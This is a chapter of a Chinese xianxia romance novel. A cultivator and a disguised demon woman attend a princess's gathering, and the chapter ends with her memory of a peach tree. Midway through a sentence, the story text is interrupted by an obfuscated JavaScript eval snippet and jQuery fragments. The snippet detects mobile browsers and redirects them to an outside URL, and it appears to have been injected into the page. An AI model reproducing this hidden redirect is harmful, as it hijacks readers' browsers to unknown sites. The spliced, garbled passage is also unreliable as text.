沈陵玉本是想让送业镜的师弟直接来他下榻之处的,但看了眼目光玩味的徐蘅,默默将地点改在了南华城的江月楼。
但没想到徐蘅也跟了去了。
包厢内的桌椅虽不算大,但一边也可以坐一个人,沈陵玉不明白徐蘅为什么和他坐同一张板凳,他想换个位置,起身的动作才做到一半,就感到腰间一紧,低头一看,原来是徐蘅抓住了他的蹀躞带。
“你……”他小声说,“松手。”
徐蘅当作没听见,无辜地朝他眨眨眼,手上用力一扯,沈陵玉不得不在她身旁坐下,抬头无奈地朝对面的同门师弟抱歉笑笑。
“师兄,这位姑娘是?”
前来送业镜的弟子名唤王润之,是昆仑仙门执法堂的弟子,而业镜正是执法堂的所有物。
沈陵玉接过业镜,却对如何回答这个问题陷入纠结。
他应该将她的身份告诉王润之吗?还是说他应该替她隐瞒?
但如果替她隐瞒的话,他应该怎样说呢?
沈陵玉几度动唇,愣是没说出话来。
徐蘅看他一眼,忽然心中很不快,她侧首瞪着他,说道:“我们的关系很难以启齿吗?”
“并不……”沈陵玉想要解释,徐蘅打断他,冷哼一声,“那你为什么不向他说明我是你的朋友呢?”
朋友吗?沈陵玉并不觉得他们之间奇怪的关系能用朋友二字概括,但既然她已经这么说了,他干脆顺着她好了。
“这位徐姑娘是我新认识的朋友。”他向王润之介绍道,“是一位散修。”
王润之微微惊讶,他与这位沈师兄也算相熟,可从不觉得他是会与人做朋友的人,还是一位姑娘。
他这位师兄虽然看着温和没脾气,但实际上只有真正与他相处过的人才会发现,他只是一视同仁地对待每个人,他的师尊也曾说过,此人看似多情却无情。
但这位姑娘……
王润之悄悄打量着对面坐在一处的二人,他们身体挨得极近,风轻轻一吹,青丝便搅在了一处。
沈师兄平日最克己复礼,哪怕是与他的师尊抱华尊者说话时,都会保持着三步以上的距离。
而此刻这二人间的距离,早已超越了“礼”的距离。
王润之对徐蘅的身份感到好奇,他露出柔和笑容,正想再多问几句,忽然就收到沈陵玉制止的目光。
咦,问都不让问吗?
他晃晃脑袋,不再好奇,转头与沈陵玉说起了正事,“沈师兄,业镜我已经带来了,不过我师尊需要知道你要用业镜做什么。”
“事后我会与贺长老解释。”沈陵玉接过业镜收入袖中,徐蘅也心生好奇,但碍于王润之还在,只好用余光偷偷去看。
不过巴掌大点的镜子,居然也能审判出宋淮安的罪恶吗?
徐蘅不信。
他都能瞒过天道篡改自己的气运,还会害怕罪行暴露于一面银镜之下吗?再说了,业镜也是昆仑的东西,人族最是厌恶魔族,也许在业镜眼中,人族折磨魔族反而是一件正义的事呢?
徐蘅又感到不高兴了,她扯了扯垂在腰间的头发,烦躁地说:“我有事要先走了。”
她说完就要走,沈陵玉感到身边一空,茫然抬眼问:“徐姑娘,你不等我们一起走吗?”
“等你们做什么?”徐蘅没好气道。
沈陵玉抿了下唇,也急忙起身,匆匆对王润之丢下一句“我之后再找你”后,快步追上徐蘅。
“徐姑娘,你要去哪里?”
“我去哪里跟你有什么关系?”
沈陵玉担忧她一时想不开会去捅宋淮安一刀,死死抓着她的手腕不肯松,徐蘅感觉自己的骨头都在痛,又因不想动手暴露身份,气得抬脚踹他。
沈陵玉侧身躲过,飞快写了张瞬移符往她身上一拍,拉着她回到她的住处。
“业镜已经取来了,”他将她按坐在藤椅上,温声劝道,“我们晚上便进宫。”
徐蘅拍开他按在自己肩膀上的手,质问道:“为什么不是现在去?”
沈陵玉揉了揉眉心,从怀中取出一封信件递给她看,解释道:“因为下午要去公主府中商讨关于城中防护一事。”
徐蘅接过信件,刚打开一道魔息便直奔她眉心,好在她及时偏头躲了过去。
徐蘅嫌恶地将信件团成一团砸向沈陵玉,双眸含怒。
这该死的徐笠,居然跟她玩阴的。
沈陵玉也没料到信件中居然藏着魔息,分明他先前翻阅时并没有,不过他还是对徐蘅表达了歉意。
“是我的过失。”又关切问她,“你可有伤到?”
徐蘅摆摆手,表示她并没有受到伤害,但是心情仍旧不怎么美妙,她掐了道诀将信件烧成灰烬,对沈陵玉道:“我也要去。”
沈陵玉没有犹豫便同意了。
……
商讨寿宴防卫这种大事,自然不止沈陵玉一人参与,王润之与镇海神剑也来了,又因兹事体大,昆仑仙门也借着历练之名派出了一些年轻的弟子。
沈陵玉见到了不少熟人。
那些人好奇的目光落在徐蘅身上,她不适地皱起眉头,往沈陵玉身后躲了躲。
早知道有这么多仙修,她就不来凑这个热闹了。
匆匆来迟的镇海神剑也同样朝她投去好奇的目光,“这位姑娘是?”
“徐还照,我的一位朋友。”沈陵玉微微侧身挡住鹤梦影落在徐蘅身上的目光,向他介绍道。
鹤梦影点了下头,虽有好奇,但眼下正事要紧,便没有多问。
商议寿宴防卫这等重要的事,自然无法让徐蘅这样的“外人”参与旁听,沈陵玉便让徐蘅在外面等他一会儿。
“不会有很长时间的,”沈陵玉指着公主府前庭中的六角亭说,“徐姑娘请在此等我一下。”
又对其中一位年岁最小的女修道:“青斐师妹,还请你陪一下徐姑娘。”
十三四岁的青斐正是活泼好动的年纪,又喜欢一切美丽的事物,当下便答应了,她笑盈盈地对徐蘅说:“徐姐姐,我们一起去池塘边喂鲤鱼吧?”
徐蘅的目光在青斐圆乎乎的脸颊上停留几息,唇角一勾,恶劣道:“不去。这么幼稚的事我才不做。”
“咦?”青斐在昆仑也算是广受同修欢迎,第一次被人拒绝,还是被一位漂亮姐姐拒绝,登时委屈地看向沈陵玉:“师兄……”
沈陵玉感到一个头两个大,他揉了揉太阳穴,压低声音对青斐说了几句话,徐蘅没听清,但料想应当不是什么好话,因为青斐听完后脸上委屈之色立刻消失不见,笑意盈盈地过来拉她的胳膊了。
徐蘅躲闪不及,一下子就被抓住了。
“去嘛去嘛,徐姐姐。”十三四岁的少女晃着她的胳膊,一双杏眸眨来眨去,如此惹人怜爱的模样,若教旁人看了定然不忍心拒绝,但徐蘅偏生是个心冷的。
她笑了下,对青斐眨眨眼,恶声恶气地在她耳边说:“你信不信我拿你喂鱼?”
青斐被吓了一个激灵,飞快松开了徐蘅的胳膊,冲沈陵玉嚷嚷道:“沈师兄,她这人怎么这样啊?”
沈陵玉突然对将徐蘅带在身边这件事生出来一丝后悔,但他着实无法放心她一个人呆着,总觉得她会偷偷对宋淮安动手。
“徐姐姐只是在跟你开玩笑。”沈陵玉对青斐抱歉笑笑,侧身低头在徐蘅耳边恳求道,“算我请你帮忙,照顾我的师妹一下可以吗?”
徐蘅还是想拒绝,沈陵玉看出来了,他飞快补充道:“镇海神剑一直携带着逢魔漏,你与他相处的时间越长,越容易被逢魔漏察觉到你身上的魔息。”
徐蘅抿住唇,犹豫了一下后不情不愿地同意了,倒也不是想跟小孩玩,主要是这个年纪的孩子通常比较好骗,也许一会儿能寻到机会离开,好去杀了宋淮安。
哦对,杀宋淮安之前还得去警告一下徐笠的使魔。
徐蘅慢悠悠走到凉亭中坐下,青斐得了沈陵玉“她绝不会将你喂鱼”的许诺,也跟着来到了凉亭中。
“徐姐姐,你与沈师兄是怎么认识的呀?”她双手托腮,眨着眼睛好奇问。
徐蘅看她一眼,指了指她,手放在唇边划拉了一下,再指了指池塘中的鱼,青斐又开始委屈地瘪嘴。
徐姐姐怎么这么凶啊!师兄为什么会认识这么凶的姑娘啊!
青斐欲哭无泪,但想起沈陵玉的嘱托,屁股依旧粘在凳子上不肯走。
徐蘅懒得关心她心中在想什么,靠在栏杆上盯着水面发呆,发了一会呆后又觉得实在无聊,干脆灵魂离体而出。
在青斐看来,她就像是倚着栏杆睡着了。
“徐姐姐?”青斐小心地拉了拉她的袖子。
“别吵我睡觉。”
“哦。”
……
因外男居多,议事的地点选在公主府的后花园中。
后花园里种着成排的桃树,三月初春,桃花开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371572|199934||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得正盛。
鹤梦影带着逢魔漏,为免打草惊蛇,徐蘅没有靠得太近,她坐在桃林深处的一棵桃树上,隔着遥遥的距离,视线越过层层叠叠的桃花看向桃树下的沈陵玉,青年肩宽腰窄,身姿挺拔,抬手喝茶时肩头桃花簌簌落地。
人面桃花相映红。徐蘅不得不承认,沈陵玉生得实在好看,如果没有那么爱管闲事的话就好了。
徐蘅看了一会儿,因青斐实在吵闹,只得暂时放下寻找徐笠使魔的计划,返回去应付她。
敷衍着说了一会儿话后,沈陵玉也回来了。昭华公主设了宴,邀请众人晚上在公主府小聚,“众人”自然也包括了徐蘅。
“徐姑娘,我一见你便觉得亲切。”她笑盈盈地说着,伸手去抓徐蘅的胳膊。
徐蘅一个激灵躲开,只觉得这话怎么听着让人头皮发麻。但为了探查宋汀雪与徐笠的交易内容,她还是留下了。
宴会设在先前的桃林中。暮色时分,桃花与昏黄的残阳交相辉映,一片橙黄橘绿,美不胜收。
尽管徐蘅是只魔,也不可避免地多看了几眼。
沈陵玉坐在她左手边,右手边是吵吵嚷嚷的青斐,两个人同时在她耳边絮絮叨叨着,徐蘅感到耳朵都痛。
“徐姑娘,你喜欢桃花吗?”察觉到徐蘅的视线一直落在桃树上,沈陵玉偏头好奇问。
“不喜欢。”徐蘅回道。
“徐姐姐,你在说谎。如果不喜欢的话,为什么还要看那么久呀?”青斐脑袋探过来,笑嘻嘻说。
徐蘅将她的脑袋推回去,睨她一眼:“你很吵。”
又道:“还有,不准叫我姐姐。”
青斐吐吐舌头,不以为意。
沈陵玉望着一大一小两个人,轻笑了声,笑完后也被徐蘅瞪了一眼。
徐姑娘真可爱。沈陵玉如此想着,指尖弹出一道灵力,一枝桃花轻轻落在他掌心。
“徐姑娘,这是送你的。”
徐蘅怔然抬眸,盯着沈陵玉掌心的桃花,不合时宜地想起了一件与桃花有关的事。
很多年前——她已经记不清是多少年前了,在她与少年逃离子夜涧后的某一年,在甩掉了身后追杀不休的人后,他们寻了处荒僻的山林隐居了下来。
荒山就是荒山,除了不开花也不结果的野树外什么都没有。春天还好,一到夏天,在暴雨和电闪雷鸣的衬托下,徐蘅宛若误入了阴森的吃人森林,于是盛夏过后,她终于忍无可忍地命令阿还将那些树全砍了。
可砍了树后的荒山一片光秃秃,了无生机的模样看得徐蘅又心情恹恹。直到他某天寻来了一枚巴掌大的桃核——也许是路过此地的旅人啃完桃子后随手一扔,也许是飞鸟从别处衔来,却因啃不动吐在此地的。
人类和飞鸟都不要的垃圾,他却对这枚桃核视若珍宝。
他将它埋在木屋前的土地中,笑盈盈对她说:“桃树生长极快,我每天给它浇一浇水,明年春天它便能抽芽开花,说不定夏天时我们就能吃上桃子了。”
徐蘅并不抱期待,她蹲在水坑前,手指抠着泥巴,“我觉得你还是先祈祷它不要在这个冬天冻死吧。”
“说的也是,”他挠挠自己的脑袋,又摸了摸她的脑袋,“那我去山中找些枯草烧成灰给它保暖。”
于是少年便开始了晨起暮归的忙碌生活。
“阿照,别忘了给桃树浇水哦!”
“知道啦。”徐蘅不情不愿地将自己的洗脸水泼在嫩芽上。
“哎呀呀太多了,会把它淹死的。”少年又手忙脚乱地补救。
在他的照顾下,那颗桃树如愿挨过了寒冷的冬天,又在春天开了零星的桃花,少年为它授粉后,桃树终于在夏天时结出了一个鸽子蛋大小的青桃。
徐蘅还记得青桃的味道,很苦、很涩,她尝了一口便呸呸吐出,皱着脸说:“不好吃。”
少年接过带有她牙印的青桃啃了一口,呸呸吐出,同样皱着脸说:“早知道还不如用那些桃花给你做花环呢。”
早知道、早知道……如果她当年早知道离开荒山会造成他的死亡,她宁可永远留在那里。
可世上没有如果,已经发生的事不会改变,死掉的人也不会复生。
“徐姐姐,你怎么突然不说话了?”
徐蘅从回忆中惊醒,心中的胀涩感却迟迟不肯消退,她盯着那枝沾染夜间水汽的桃花看了许久,才怅然说道:
“沈仙君,你杀死了一枝桃花啊。”